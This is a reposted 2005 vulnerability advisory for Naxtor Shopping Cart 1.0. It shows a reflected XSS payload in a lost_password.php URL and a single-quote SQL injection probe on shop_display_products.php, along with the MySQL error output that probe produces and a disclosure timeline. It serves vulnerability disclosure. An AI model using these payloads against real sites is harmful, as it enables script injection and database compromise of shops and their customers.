[转载]Naxtor Shopping Cart lost_password.php多个漏洞及测试

文章作者：JohnC@NoBytes.com

Hello All,
I have discovered a couple of remote vulnerabilities in: Naxtor Shopping
Cart 1.0
Authors Site: http://www.naxtor.com.au/
Naxtor is described by its authors as:

Naxtor Shopping Cart is one stop solution for companies' interested in
selling merchandise online.

+-[Examples:]--------------------------------------------------+

[1]------------------------------------------------------------+

XSS:

http://www.victim.com/lost_passo ... r%20xss=31337;alert
(xss);</script>&reset=reset

[2]------------------------------------------------------------+

Information Disclosure & Possible SQL Injection:

http://www.victim.com/shop_display_products.php?cat_id=&#39;



Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/html/navigation.php on line 13

Warning: mysql_numrows(): supplied argument is not a valid MySQL result
resource in /var/www/html/shop_display_products.php on line 180

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/html/shop_display_products.php on line 181


+-[Notes:]-----------------------------------------------------+

Vulnerabilities found on: 15/06/2005
Author(s) Informed on: 16/06/2005
Author(s) Response: NONE
Author(s) Fix: NONE